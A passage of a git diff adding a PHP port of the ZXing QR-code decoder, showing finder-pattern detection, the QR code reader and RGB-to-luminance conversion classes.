    + */ + public function aboutEquals($moduleSize, $i, $j) + { + if (abs($i - $this->getY()) <= $moduleSize && abs($j - $this->getX()) <= $moduleSize) { + $moduleSizeDiff = abs($moduleSize - $this->estimatedModuleSize); + + return $moduleSizeDiff <= 1.0 || $moduleSizeDiff <= $this->estimatedModuleSize; + } + + return false; + } + + /** + * Combines this object's current estimate of a finder pattern position and module size + * with a new estimate. It returns a new {@code FinderPattern} containing a weighted average + * based on count. + */ + public function combineEstimate($i, $j, $newModuleSize) + { + $combinedCount = $this->count + 1; + $combinedX = ($this->count * $this->getX() + $j) / $combinedCount; + $combinedY = ($this->count * $this->getY() + $i) / $combinedCount; + $combinedModuleSize = ($this->count * $this->estimatedModuleSize + $newModuleSize) / $combinedCount; + + return new FinderPattern($combinedX, $combinedY, $combinedModuleSize, $combinedCount); + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPatternFinder.php b/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPatternFinder.php new file mode 100644 index 0000000..1fe030f --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPatternFinder.php @@ -0,0 +1,699 @@ +This class attempts to find finder patterns in a QR Code. Finder patterns are the square + * markers at three corners of a QR Code.

    + * + *

    This class is thread-safe but not reentrant. Each thread must allocate its own object. + * + * @author Sean Owen + */ +class FinderPatternFinder +{ + protected static $MIN_SKIP = 3; + protected static $MAX_MODULES = 57; // 1 pixel/module times 3 modules/center + private static $CENTER_QUORUM = 2; // support up to version 10 for mobile clients + private $image; + private $average; + private $possibleCenters; //private final List possibleCenters; + private $hasSkipped = false; + private $crossCheckStateCount; + private $resultPointCallback; + + /** + *

    Creates a finder that will search the image for three finder patterns.

    + * + * @param BitMatrix $image image to search + */ + public function __construct($image, $resultPointCallback = null) + { + $this->image = $image; + + + $this->possibleCenters = [];//new ArrayList<>(); + $this->crossCheckStateCount = fill_array(0, 5, 0); + $this->resultPointCallback = $resultPointCallback; + } + + final public function find($hints) + {/*final FinderPatternInfo find(Map hints) throws NotFoundException {*/ + $tryHarder = true;//$hints != null && $hints['TRY_HARDER']; + $pureBarcode = $hints != null && $hints['PURE_BARCODE']; + $maxI = $this->image->getHeight(); + $maxJ = $this->image->getWidth(); + // We are looking for black/white/black/white/black modules in + // 1:1:3:1:1 ratio; this tracks the number of such modules seen so far + + // Let's assume that the maximum version QR Code we support takes up 1/4 the height of the + // image, and then account for the center being 3 modules in size. This gives the smallest + // number of pixels the center could be, so skip this often. When trying harder, look for all + // QR versions regardless of how dense they are. + $iSkip = (int)((3 * $maxI) / (4 * self::$MAX_MODULES)); + if ($iSkip < self::$MIN_SKIP || $tryHarder) { + $iSkip = self::$MIN_SKIP; + } + + $done = false; + $stateCount = []; + for ($i = $iSkip - 1; $i < $maxI && !$done; $i += $iSkip) { + // Get a row of black/white values + $stateCount[0] = 0; + $stateCount[1] = 0; + $stateCount[2] = 0; + $stateCount[3] = 0; + $stateCount[4] = 0; + $currentState = 0; + for ($j = 0; $j < $maxJ; $j++) { + if ($this->image->get($j, $i)) { + // Black pixel + if (($currentState & 1) == 1) { // Counting white pixels + $currentState++; + } + $stateCount[$currentState]++; + } else { // White pixel + if (($currentState & 1) == 0) { // Counting black pixels + if ($currentState == 4) { // A winner? + if (self::foundPatternCross($stateCount)) { // Yes + $confirmed = $this->handlePossibleCenter($stateCount, $i, $j, $pureBarcode); + if ($confirmed) { + // Start examining every other line. Checking each line turned out to be too + // expensive and didn't improve performance. + $iSkip = 3; + if ($this->hasSkipped) { + $done = $this->haveMultiplyConfirmedCenters(); + } else { + $rowSkip = $this->findRowSkip(); + if ($rowSkip > $stateCount[2]) { + // Skip rows between row of lower confirmed center + // and top of presumed third confirmed center + // but back up a bit to get a full chance of detecting + // it, entire width of center of finder pattern + + // Skip by rowSkip, but back off by $stateCount[2] (size of last center + // of pattern we saw) to be conservative, and also back off by iSkip which + // is about to be re-added + $i += $rowSkip - $stateCount[2] - $iSkip; + $j = $maxJ - 1; + } + } + } else { + $stateCount[0] = $stateCount[2]; + $stateCount[1] = $stateCount[3]; + $stateCount[2] = $stateCount[4]; + $stateCount[3] = 1; + $stateCount[4] = 0; + $currentState = 3; + continue; + } + // Clear state to start looking again + $currentState = 0; + $stateCount[0] = 0; + $stateCount[1] = 0; + $stateCount[2] = 0; + $stateCount[3] = 0; + $stateCount[4] = 0; + } else { // No, shift counts back by two + $stateCount[0] = $stateCount[2]; + $stateCount[1] = $stateCount[3]; + $stateCount[2] = $stateCount[4]; + $stateCount[3] = 1; + $stateCount[4] = 0; + $currentState = 3; + } + } else { + $stateCount[++$currentState]++; + } + } else { // Counting white pixels + $stateCount[$currentState]++; + } + } + } + if (self::foundPatternCross($stateCount)) { + $confirmed = $this->handlePossibleCenter($stateCount, $i, $maxJ, $pureBarcode); + if ($confirmed) { + $iSkip = $stateCount[0]; + if ($this->hasSkipped) { + // Found a third one + $done = $this->haveMultiplyConfirmedCenters(); + } + } + } + } + + $patternInfo = $this->selectBestPatterns(); + $patternInfo = ResultPoint::orderBestPatterns($patternInfo); + + return new FinderPatternInfo($patternInfo); + } + + /** + * @param $stateCount ; count of black/white/black/white/black pixels just read + * + * @return true iff the proportions of the counts is close enough to the 1/1/3/1/1 ratios + * used by finder patterns to be considered a match + */ + protected static function foundPatternCross($stateCount) + { + $totalModuleSize = 0; + for ($i = 0; $i < 5; $i++) { + $count = $stateCount[$i]; + if ($count == 0) { + return false; + } + $totalModuleSize += $count; + } + if ($totalModuleSize < 7) { + return false; + } + $moduleSize = $totalModuleSize / 7.0; + $maxVariance = $moduleSize / 2.0; + + // Allow less than 50% variance from 1-1-3-1-1 proportions + return + abs($moduleSize - $stateCount[0]) < $maxVariance && + abs($moduleSize - $stateCount[1]) < $maxVariance && + abs(3.0 * $moduleSize - $stateCount[2]) < 3 * $maxVariance && + abs($moduleSize - $stateCount[3]) < $maxVariance && + abs($moduleSize - $stateCount[4]) < $maxVariance; + } + + /** + *

    This is called when a horizontal scan finds a possible alignment pattern. It will + * cross check with a vertical scan, and if successful, will, ah, cross-cross-check + * with another horizontal scan. This is needed primarily to locate the real horizontal + * center of the pattern in cases of extreme skew. + * And then we cross-cross-cross check with another diagonal scan.

    + * + *

    If that succeeds the finder pattern location is added to a list that tracks + * the number of times each location has been nearly-matched as a finder pattern. + * Each additional find is more evidence that the location is in fact a finder + * pattern center + * + * @param $stateCount reading state module counts from horizontal scan + * @param i row where finder pattern may be found + * @param j end of possible finder pattern in row + * @param pureBarcode true if in "pure barcode" mode + * + * @return true if a finder pattern candidate was found this time + */ + protected final function handlePossibleCenter($stateCount, $i, $j, $pureBarcode) + { + $stateCountTotal = $stateCount[0] + $stateCount[1] + $stateCount[2] + $stateCount[3] + + $stateCount[4]; + $centerJ = $this->centerFromEnd($stateCount, $j); + $centerI = $this->crossCheckVertical($i, (int)($centerJ), $stateCount[2], $stateCountTotal); + if (!is_nan($centerI)) { + // Re-cross check + $centerJ = $this->crossCheckHorizontal((int)($centerJ), (int)($centerI), $stateCount[2], $stateCountTotal); + if (!is_nan($centerJ) && + (!$pureBarcode || $this->crossCheckDiagonal((int)($centerI), (int)($centerJ), $stateCount[2], $stateCountTotal)) + ) { + $estimatedModuleSize = (float)$stateCountTotal / 7.0; + $found = false; + for ($index = 0; $index < count($this->possibleCenters); $index++) { + $center = $this->possibleCenters[$index]; + // Look for about the same center and module size: + if ($center->aboutEquals($estimatedModuleSize, $centerI, $centerJ)) { + $this->possibleCenters[$index] = $center->combineEstimate($centerI, $centerJ, $estimatedModuleSize); + $found = true; + break; + } + } + if (!$found) { + $point = new FinderPattern($centerJ, $centerI, $estimatedModuleSize); + $this->possibleCenters[] = $point; + if ($this->resultPointCallback != null) { + $this->resultPointCallback->foundPossibleResultPoint($point); + } + } + + return true; + } + } + + return false; + } + + /** + * Given a count of black/white/black/white/black pixels just seen and an end position, + * figures the location of the center of this run. + */ + private static function centerFromEnd($stateCount, $end) + { + return (float)($end - $stateCount[4] - $stateCount[3]) - $stateCount[2] / 2.0; + } + + /** + *

    After a horizontal scan finds a potential finder pattern, this method + * "cross-checks" by scanning down vertically through the center of the possible + * finder pattern to see if the same proportion is detected.

    + * + * @param $startI ; row where a finder pattern was detected + * @param centerJ ; center of the section that appears to cross a finder pattern + * @param $maxCount ; maximum reasonable number of modules that should be + * observed in any reading state, based on the results of the horizontal scan + * + * @return vertical center of finder pattern, or {@link Float#NaN} if not found + */ + private function crossCheckVertical($startI, $centerJ, $maxCount, + $originalStateCountTotal) + { + $image = $this->image; + + $maxI = $image->getHeight(); + $stateCount = $this->getCrossCheckStateCount(); + + // Start counting up from center + $i = $startI; + while ($i >= 0 && $image->get($centerJ, $i)) { + $stateCount[2]++; + $i--; + } + if ($i < 0) { + return NAN; + } + while ($i >= 0 && !$image->get($centerJ, $i) && $stateCount[1] <= $maxCount) { + $stateCount[1]++; + $i--; + } + // If already too many modules in this state or ran off the edge: + if ($i < 0 || $stateCount[1] > $maxCount) { + return NAN; + } + while ($i >= 0 && $image->get($centerJ, $i) && $stateCount[0] <= $maxCount) { + $stateCount[0]++; + $i--; + } + if ($stateCount[0] > $maxCount) { + return NAN; + } + + // Now also count down from center + $i = $startI + 1; + while ($i < $maxI && $image->get($centerJ, $i)) { + $stateCount[2]++; + $i++; + } + if ($i == $maxI) { + return NAN; + } + while ($i < $maxI && !$image->get($centerJ, $i) && $stateCount[3] < $maxCount) { + $stateCount[3]++; + $i++; + } + if ($i == $maxI || $stateCount[3] >= $maxCount) { + return NAN; + } + while ($i < $maxI && $image->get($centerJ, $i) && $stateCount[4] < $maxCount) { + $stateCount[4]++; + $i++; + } + if ($stateCount[4] >= $maxCount) { + return NAN; + } + + // If we found a finder-pattern-like section, but its size is more than 40% different than + // the original, assume it's a false positive + $stateCountTotal = $stateCount[0] + $stateCount[1] + $stateCount[2] + $stateCount[3] + + $stateCount[4]; + if (5 * abs($stateCountTotal - $originalStateCountTotal) >= 2 * $originalStateCountTotal) { + return NAN; + } + + return self::foundPatternCross($stateCount) ? $this->centerFromEnd($stateCount, $i) : NAN; + } + + private function getCrossCheckStateCount() + { + $this->crossCheckStateCount[0] = 0; + $this->crossCheckStateCount[1] = 0; + $this->crossCheckStateCount[2] = 0; + $this->crossCheckStateCount[3] = 0; + $this->crossCheckStateCount[4] = 0; + + return $this->crossCheckStateCount; + } + + /** + *

    Like {@link #crossCheckVertical(int, int, int, int)}, and in fact is basically identical, + * except it reads horizontally instead of vertically. This is used to cross-cross + * check a vertical cross check and locate the real center of the alignment pattern.

    + */ + private function crossCheckHorizontal($startJ, $centerI, $maxCount, + $originalStateCountTotal) + { + $image = $this->image; + + $maxJ = $this->image->getWidth(); + $stateCount = $this->getCrossCheckStateCount(); + + $j = $startJ; + while ($j >= 0 && $image->get($j, $centerI)) { + $stateCount[2]++; + $j--; + } + if ($j < 0) { + return NAN; + } + while ($j >= 0 && !$image->get($j, $centerI) && $stateCount[1] <= $maxCount) { + $stateCount[1]++; + $j--; + } + if ($j < 0 || $stateCount[1] > $maxCount) { + return NAN; + } + while ($j >= 0 && $image->get($j, $centerI) && $stateCount[0] <= $maxCount) { + $stateCount[0]++; + $j--; + } + if ($stateCount[0] > $maxCount) { + return NAN; + } + + $j = $startJ + 1; + while ($j < $maxJ && $image->get($j, $centerI)) { + $stateCount[2]++; + $j++; + } + if ($j == $maxJ) { + return NAN; + } + while ($j < $maxJ && !$image->get($j, $centerI) && $stateCount[3] < $maxCount) { + $stateCount[3]++; + $j++; + } + if ($j == $maxJ || $stateCount[3] >= $maxCount) { + return NAN; + } + while ($j < $maxJ && $this->image->get($j, $centerI) && $stateCount[4] < $maxCount) { + $stateCount[4]++; + $j++; + } + if ($stateCount[4] >= $maxCount) { + return NAN; + } + + // If we found a finder-pattern-like section, but its size is significantly different than + // the original, assume it's a false positive + $stateCountTotal = $stateCount[0] + $stateCount[1] + $stateCount[2] + $stateCount[3] + + $stateCount[4]; + if (5 * abs($stateCountTotal - $originalStateCountTotal) >= $originalStateCountTotal) { + return NAN; + } + + return $this->foundPatternCross($stateCount) ? $this->centerFromEnd($stateCount, $j) : NAN; + } + + /** + * After a vertical and horizontal scan finds a potential finder pattern, this method + * "cross-cross-cross-checks" by scanning down diagonally through the center of the possible + * finder pattern to see if the same proportion is detected. + * + * @param $startI ; row where a finder pattern was detected + * @param centerJ ; center of the section that appears to cross a finder pattern + * @param $maxCount ; maximum reasonable number of modules that should be + * observed in any reading state, based on the results of the horizontal scan + * @param originalStateCountTotal ; The original state count total. + * + * @return true if proportions are withing expected limits + */ + private function crossCheckDiagonal($startI, $centerJ, $maxCount, $originalStateCountTotal) + { + $stateCount = $this->getCrossCheckStateCount(); + + // Start counting up, left from center finding black center mass + $i = 0; + $startI = (int)($startI); + $centerJ = (int)($centerJ); + while ($startI >= $i && $centerJ >= $i && $this->image->get($centerJ - $i, $startI - $i)) { + $stateCount[2]++; + $i++; + } + + if ($startI < $i || $centerJ < $i) { + return false; + } + + // Continue up, left finding white space + while ($startI >= $i && $centerJ >= $i && !$this->image->get($centerJ - $i, $startI - $i) && + $stateCount[1] <= $maxCount) { + $stateCount[1]++; + $i++; + } + + // If already too many modules in this state or ran off the edge: + if ($startI < $i || $centerJ < $i || $stateCount[1] > $maxCount) { + return false; + } + + // Continue up, left finding black border + while ($startI >= $i && $centerJ >= $i && $this->image->get($centerJ - $i, $startI - $i) && + $stateCount[0] <= $maxCount) { + $stateCount[0]++; + $i++; + } + if ($stateCount[0] > $maxCount) { + return false; + } + + $maxI = $this->image->getHeight(); + $maxJ = $this->image->getWidth(); + + // Now also count down, right from center + $i = 1; + while ($startI + $i < $maxI && $centerJ + $i < $maxJ && $this->image->get($centerJ + $i, $startI + $i)) { + $stateCount[2]++; + $i++; + } + + // Ran off the edge? + if ($startI + $i >= $maxI || $centerJ + $i >= $maxJ) { + return false; + } + + while ($startI + $i < $maxI && $centerJ + $i < $maxJ && !$this->image->get($centerJ + $i, $startI + $i) && + $stateCount[3] < $maxCount) { + $stateCount[3]++; + $i++; + } + + if ($startI + $i >= $maxI || $centerJ + $i >= $maxJ || $stateCount[3] >= $maxCount) { + return false; + } + + while ($startI + $i < $maxI && $centerJ + $i < $maxJ && $this->image->get($centerJ + $i, $startI + $i) && + $stateCount[4] < $maxCount) { + $stateCount[4]++; + $i++; + } + + if ($stateCount[4] >= $maxCount) { + return false; + } + + // If we found a finder-pattern-like section, but its size is more than 100% different than + // the original, assume it's a false positive + $stateCountTotal = $stateCount[0] + $stateCount[1] + $stateCount[2] + $stateCount[3] + $stateCount[4]; + + return + abs($stateCountTotal - $originalStateCountTotal) < 2 * $originalStateCountTotal && + self::foundPatternCross($stateCount); + } + + /** + * @return true iff we have found at least 3 finder patterns that have been detected + * at least {@link #CENTER_QUORUM} times each, and, the estimated module size of the + * candidates is "pretty similar" + */ + private function haveMultiplyConfirmedCenters() + { + $confirmedCount = 0; + $totalModuleSize = 0.0; + $max = count($this->possibleCenters); + foreach ($this->possibleCenters as $pattern) { + if ($pattern->getCount() >= self::$CENTER_QUORUM) { + $confirmedCount++; + $totalModuleSize += $pattern->getEstimatedModuleSize(); + } + } + if ($confirmedCount < 3) { + return false; + } + // OK, we have at least 3 confirmed centers, but, it's possible that one is a "false positive" + // and that we need to keep looking. We detect this by asking if the estimated module sizes + // vary too much. We arbitrarily say that when the total deviation from average exceeds + // 5% of the total module size estimates, it's too much. + $average = $totalModuleSize / (float)$max; + $totalDeviation = 0.0; + foreach ($this->possibleCenters as $pattern) { + $totalDeviation += abs($pattern->getEstimatedModuleSize() - $average); + } + + return $totalDeviation <= 0.05 * $totalModuleSize; + } + + /** + * @return number of rows we could safely skip during scanning, based on the first + * two finder patterns that have been located. In some cases their position will + * allow us to infer that the third pattern must lie below a certain point farther + * down in the image. + */ + private function findRowSkip() + { + $max = count($this->possibleCenters); + if ($max <= 1) { + return 0; + } + $firstConfirmedCenter = null; + foreach ($this->possibleCenters as $center) { + + + if ($center->getCount() >= self::$CENTER_QUORUM) { + if ($firstConfirmedCenter == null) { + $firstConfirmedCenter = $center; + } else { + // We have two confirmed centers + // How far down can we skip before resuming looking for the next + // pattern? In the worst case, only the difference between the + // difference in the x / y coordinates of the two centers. + // This is the case where you find top left last. + $this->hasSkipped = true; + + return (int)((abs($firstConfirmedCenter->getX() - $center->getX()) - + abs($firstConfirmedCenter->getY() - $center->getY())) / 2); + } + } + } + + return 0; + } + + /** + * @return array the 3 best {@link FinderPattern}s from our list of candidates. The "best" are + * those that have been detected at least {@link #CENTER_QUORUM} times, and whose module + * size differs from the average among those patterns the least + * @throws NotFoundException if 3 such finder patterns do not exist + */ + private function selectBestPatterns() + { + $startSize = count($this->possibleCenters); + if ($startSize < 3) { + // Couldn't find enough finder patterns + throw new NotFoundException; + } + + // Filter outlier possibilities whose module size is too different + if ($startSize > 3) { + // But we can only afford to do so if we have at least 4 possibilities to choose from + $totalModuleSize = 0.0; + $square = 0.0; + foreach ($this->possibleCenters as $center) { + $size = $center->getEstimatedModuleSize(); + $totalModuleSize += $size; + $square += $size * $size; + } + $this->average = $totalModuleSize / (float)$startSize; + $stdDev = (float)sqrt($square / $startSize - $this->average * $this->average); + + usort($this->possibleCenters, [$this, 'FurthestFromAverageComparator']); + + $limit = max(0.2 * $this->average, $stdDev); + + for ($i = 0; $i < count($this->possibleCenters) && count($this->possibleCenters) > 3; $i++) { + $pattern = $this->possibleCenters[$i]; + if (abs($pattern->getEstimatedModuleSize() - $this->average) > $limit) { + unset($this->possibleCenters[$i]);//возможно что ключи меняются в java при вызове .remove(i) ??? + $this->possibleCenters = array_values($this->possibleCenters); + $i--; + } + } + } + + if (count($this->possibleCenters) > 3) { + // Throw away all but those first size candidate points we found. + + $totalModuleSize = 0.0; + foreach ($this->possibleCenters as $possibleCenter) { + $totalModuleSize += $possibleCenter->getEstimatedModuleSize(); + } + + $this->average = $totalModuleSize / (float)count($this->possibleCenters); + + usort($this->possibleCenters, [$this, 'CenterComparator']); + + array_slice($this->possibleCenters, 3, count($this->possibleCenters) - 3); + } + + return [$this->possibleCenters[0], $this->possibleCenters[1], $this->possibleCenters[2]]; + } + + /** + *

    Orders by furthest from average

    + */ + public function FurthestFromAverageComparator($center1, $center2) + { + + $dA = abs($center2->getEstimatedModuleSize() - $this->average); + $dB = abs($center1->getEstimatedModuleSize() - $this->average); + if ($dA < $dB) { + return -1; + } elseif ($dA == $dB) { + return 0; + } else { + return 1; + } + } + + public function CenterComparator($center1, $center2) + { + if ($center2->getCount() == $center1->getCount()) { + $dA = abs($center2->getEstimatedModuleSize() - $this->average); + $dB = abs($center1->getEstimatedModuleSize() - $this->average); + if ($dA < $dB) { + return 1; + } elseif ($dA == $dB) { + return 0; + } else { + return -1; + } + } else { + return $center2->getCount() - $center1->getCount(); + } + } + + protected final function getImage() + { + return $this->image; + } + /** + *

    Orders by {@link FinderPattern#getCount()}, descending.

    + */ + + //@Override + protected final function getPossibleCenters() + { //List getPossibleCenters() + return $this->possibleCenters; + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPatternInfo.php b/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPatternInfo.php new file mode 100644 index 0000000..28091a4 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPatternInfo.php @@ -0,0 +1,53 @@ +Encapsulates information about finder patterns in an image, including the location of + * the three finder patterns, and their estimated module size.

    + * + * @author Sean Owen + */ +final class FinderPatternInfo +{ + private $bottomLeft; + private $topLeft; + private $topRight; + + public function __construct($patternCenters) + { + $this->bottomLeft = $patternCenters[0]; + $this->topLeft = $patternCenters[1]; + $this->topRight = $patternCenters[2]; + } + + public function getBottomLeft() + { + return $this->bottomLeft; + } + + public function getTopLeft() + { + return $this->topLeft; + } + + public function getTopRight() + { + return $this->topRight; + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/QRCodeReader.php b/includes/qrcodedecoder/Zxing/Qrcode/QRCodeReader.php new file mode 100644 index 0000000..2fd1c46 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/QRCodeReader.php @@ -0,0 +1,222 @@ +decoder = new Decoder(); + } + + /** + * @param BinaryBitmap $image + * @param null $hints + * + * @return Result + * @throws \Zxing\FormatException + * @throws \Zxing\NotFoundException + */ + public function decode(BinaryBitmap $image, $hints = null) + { + $decoderResult = null; + if ($hints !== null && $hints['PURE_BARCODE']) { + $bits = self::extractPureBits($image->getBlackMatrix()); + $decoderResult = $this->decoder->decode($bits, $hints); + $points = self::$NO_POINTS; + } else { + $detector = new Detector($image->getBlackMatrix()); + $detectorResult = $detector->detect($hints); + + $decoderResult = $this->decoder->decode($detectorResult->getBits(), $hints); + $points = $detectorResult->getPoints(); + } + $result = new Result($decoderResult->getText(), $decoderResult->getRawBytes(), $points, 'QR_CODE');//BarcodeFormat.QR_CODE + + $byteSegments = $decoderResult->getByteSegments(); + if ($byteSegments !== null) { + $result->putMetadata('BYTE_SEGMENTS', $byteSegments);//ResultMetadataType.BYTE_SEGMENTS + } + $ecLevel = $decoderResult->getECLevel(); + if ($ecLevel !== null) { + $result->putMetadata('ERROR_CORRECTION_LEVEL', $ecLevel);//ResultMetadataType.ERROR_CORRECTION_LEVEL + } + if ($decoderResult->hasStructuredAppend()) { + $result->putMetadata( + 'STRUCTURED_APPEND_SEQUENCE',//ResultMetadataType.STRUCTURED_APPEND_SEQUENCE + $decoderResult->getStructuredAppendSequenceNumber() + ); + $result->putMetadata( + 'STRUCTURED_APPEND_PARITY',//ResultMetadataType.STRUCTURED_APPEND_PARITY + $decoderResult->getStructuredAppendParity() + ); + } + + return $result; + } + + /** + * Locates and decodes a QR code in an image. + * + * @return a String representing the content encoded by the QR code + * @throws NotFoundException if a QR code cannot be found + * @throws FormatException if a QR code cannot be decoded + * @throws ChecksumException if error correction fails + */ + + /** + * This method detects a code in a "pure" image -- that is, pure monochrome image + * which contains only an unrotated, unskewed, image of a code, with some white border + * around it. This is a specialized method that works exceptionally fast in this special + * case. + * + * @see com.google.zxing.datamatrix.DataMatrixReader#extractPureBits(BitMatrix) + */ + private static function extractPureBits(BitMatrix $image) + { + $leftTopBlack = $image->getTopLeftOnBit(); + $rightBottomBlack = $image->getBottomRightOnBit(); + if ($leftTopBlack === null || $rightBottomBlack == null) { + throw NotFoundException::getNotFoundInstance(); + } + + $moduleSize = self::moduleSize($leftTopBlack, $image); + + $top = $leftTopBlack[1]; + $bottom = $rightBottomBlack[1]; + $left = $leftTopBlack[0]; + $right = $rightBottomBlack[0]; + + // Sanity check! + if ($left >= $right || $top >= $bottom) { + throw NotFoundException::getNotFoundInstance(); + } + + if ($bottom - $top != $right - $left) { + // Special case, where bottom-right module wasn't black so we found something else in the last row + // Assume it's a square, so use height as the width + $right = $left + ($bottom - $top); + } + + $matrixWidth = round(($right - $left + 1) / $moduleSize); + $matrixHeight = round(($bottom - $top + 1) / $moduleSize); + if ($matrixWidth <= 0 || $matrixHeight <= 0) { + throw NotFoundException::getNotFoundInstance(); + } + if ($matrixHeight != $matrixWidth) { + // Only possibly decode square regions + throw NotFoundException::getNotFoundInstance(); + } + + // Push in the "border" by half the module width so that we start + // sampling in the middle of the module. Just in case the image is a + // little off, this will help recover. + $nudge = (int)($moduleSize / 2.0);// $nudge = (int) ($moduleSize / 2.0f); + $top += $nudge; + $left += $nudge; + + // But careful that this does not sample off the edge + // "right" is the farthest-right valid pixel location -- right+1 is not necessarily + // This is positive by how much the inner x loop below would be too large + $nudgedTooFarRight = $left + (int)(($matrixWidth - 1) * $moduleSize) - $right; + if ($nudgedTooFarRight > 0) { + if ($nudgedTooFarRight > $nudge) { + // Neither way fits; abort + throw NotFoundException::getNotFoundInstance(); + } + $left -= $nudgedTooFarRight; + } + // See logic above + $nudgedTooFarDown = $top + (int)(($matrixHeight - 1) * $moduleSize) - $bottom; + if ($nudgedTooFarDown > 0) { + if ($nudgedTooFarDown > $nudge) { + // Neither way fits; abort + throw NotFoundException::getNotFoundInstance(); + } + $top -= $nudgedTooFarDown; + } + + // Now just read off the bits + $bits = new BitMatrix($matrixWidth, $matrixHeight); + for ($y = 0; $y < $matrixHeight; $y++) { + $iOffset = $top + (int)($y * $moduleSize); + for ($x = 0; $x < $matrixWidth; $x++) { + if ($image->get($left + (int)($x * $moduleSize), $iOffset)) { + $bits->set($x, $y); + } + } + } + + return $bits; + } + + private static function moduleSize($leftTopBlack, BitMatrix $image) + { + $height = $image->getHeight(); + $width = $image->getWidth(); + $x = $leftTopBlack[0]; + $y = $leftTopBlack[1]; + /*$x = $leftTopBlack[0]; + $y = $leftTopBlack[1];*/ + $inBlack = true; + $transitions = 0; + while ($x < $width && $y < $height) { + if ($inBlack != $image->get($x, $y)) { + if (++$transitions == 5) { + break; + } + $inBlack = !$inBlack; + } + $x++; + $y++; + } + if ($x == $width || $y == $height) { + throw NotFoundException::getNotFoundInstance(); + } + + return ($x - $leftTopBlack[0]) / 7.0; //return ($x - $leftTopBlack[0]) / 7.0f; + } + + public function reset() + { + // do nothing + } + + protected final function getDecoder() + { + return $this->decoder; + } +} diff --git a/includes/qrcodedecoder/Zxing/RGBLuminanceSource.php b/includes/qrcodedecoder/Zxing/RGBLuminanceSource.php new file mode 100644 index 0000000..e3fe222 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/RGBLuminanceSource.php @@ -0,0 +1,309 @@ +RGBLuminanceSource_($pixels, $dataWidth, $dataHeight); + + return; + } + parent::__construct($width, $height); + if ($left + $width > $dataWidth || $top + $height > $dataHeight) { + throw new \InvalidArgumentException("Crop rectangle does not fit within image data."); + } + $this->luminances = $pixels; + $this->dataWidth = $dataWidth; + $this->dataHeight = $dataHeight; + $this->left = $left; + $this->top = $top; + } + + public function RGBLuminanceSource_($width, $height, $pixels) + { + parent::__construct($width, $height); + + $this->dataWidth = $width; + $this->dataHeight = $height; + $this->left = 0; + $this->top = 0; + $this->pixels = $pixels; + + +// In order to measure pure decoding speed, we convert the entire image to a greyscale array +// up front, which is the same as the Y channel of the YUVLuminanceSource in the real app. + $this->luminances = []; + //$this->luminances = $this->grayScaleToBitmap($this->grayscale()); + + foreach ($pixels as $key => $pixel) { + $r = $pixel['red']; + $g = $pixel['green']; + $b = $pixel['blue']; + + /* if (($pixel & 0xFF000000) == 0) { + $pixel = 0xFFFFFFFF; // = white + } + + // .229R + 0.587G + 0.114B (YUV/YIQ for PAL and NTSC) + + $this->luminances[$key] = + (306 * (($pixel >> 16) & 0xFF) + + 601 * (($pixel >> 8) & 0xFF) + + 117 * ($pixel & 0xFF) + + 0x200) >> 10; + + */ + //$r = ($pixel >> 16) & 0xff; + //$g = ($pixel >> 8) & 0xff; + //$b = $pixel & 0xff; + if ($r == $g && $g == $b) { +// Image is already greyscale, so pick any channel. + + $this->luminances[$key] = $r;//(($r + 128) % 256) - 128; + } else { +// Calculate luminance cheaply, favoring green. + $this->luminances[$key] = ($r + 2 * $g + $b) / 4;//(((($r + 2 * $g + $b) / 4) + 128) % 256) - 128; + } + + } + + /* + + for ($y = 0; $y < $height; $y++) { + $offset = $y * $width; + for ($x = 0; $x < $width; $x++) { + $pixel = $pixels[$offset + $x]; + $r = ($pixel >> 16) & 0xff; + $g = ($pixel >> 8) & 0xff; + $b = $pixel & 0xff; + if ($r == $g && $g == $b) { +// Image is already greyscale, so pick any channel. + + $this->luminances[(int)($offset + $x)] = (($r+128) % 256) - 128; + } else { +// Calculate luminance cheaply, favoring green. + $this->luminances[(int)($offset + $x)] = (((($r + 2 * $g + $b) / 4)+128)%256) - 128; + } + + + + } + */ + //} + // $this->luminances = $this->grayScaleToBitmap($this->luminances); + + } + + public function grayscale() + { + $width = $this->dataWidth; + $height = $this->dataHeight; + + $ret = fill_array(0, $width * $height, 0); + for ($y = 0; $y < $height; $y++) { + for ($x = 0; $x < $width; $x++) { + $gray = $this->getPixel($x, $y, $width, $height); + + $ret[$x + $y * $width] = $gray; + } + } + + return $ret; + } + + public function getPixel($x, $y, $width, $height) + { + $image = $this->pixels; + if ($width < $x) { + die('error'); + } + if ($height < $y) { + die('error'); + } + $point = ($x) + ($y * $width); + + $r = $image[$point]['red'];//($image[$point] >> 16) & 0xff; + $g = $image[$point]['green'];//($image[$point] >> 8) & 0xff; + $b = $image[$point]['blue'];//$image[$point] & 0xff; + + $p = (int)(($r * 33 + $g * 34 + $b * 33) / 100); + + + return $p; + + } + + public function grayScaleToBitmap($grayScale) + { + $middle = $this->getMiddleBrightnessPerArea($grayScale); + $sqrtNumArea = count($middle); + $areaWidth = floor($this->dataWidth / $sqrtNumArea); + $areaHeight = floor($this->dataHeight / $sqrtNumArea); + $bitmap = fill_array(0, $this->dataWidth * $this->dataHeight, 0); + + for ($ay = 0; $ay < $sqrtNumArea; $ay++) { + for ($ax = 0; $ax < $sqrtNumArea; $ax++) { + for ($dy = 0; $dy < $areaHeight; $dy++) { + for ($dx = 0; $dx < $areaWidth; $dx++) { + $bitmap[(int)($areaWidth * $ax + $dx + ($areaHeight * $ay + $dy) * $this->dataWidth)] = ($grayScale[(int)($areaWidth * $ax + $dx + ($areaHeight * $ay + $dy) * $this->dataWidth)] < $middle[$ax][$ay]) ? 0 : 255; + } + } + } + } + + return $bitmap; + } + + public function getMiddleBrightnessPerArea($image) + { + $numSqrtArea = 4; + //obtain middle brightness((min + max) / 2) per area + $areaWidth = floor($this->dataWidth / $numSqrtArea); + $areaHeight = floor($this->dataHeight / $numSqrtArea); + $minmax = fill_array(0, $numSqrtArea, 0); + for ($i = 0; $i < $numSqrtArea; $i++) { + $minmax[$i] = fill_array(0, $numSqrtArea, 0); + for ($i2 = 0; $i2 < 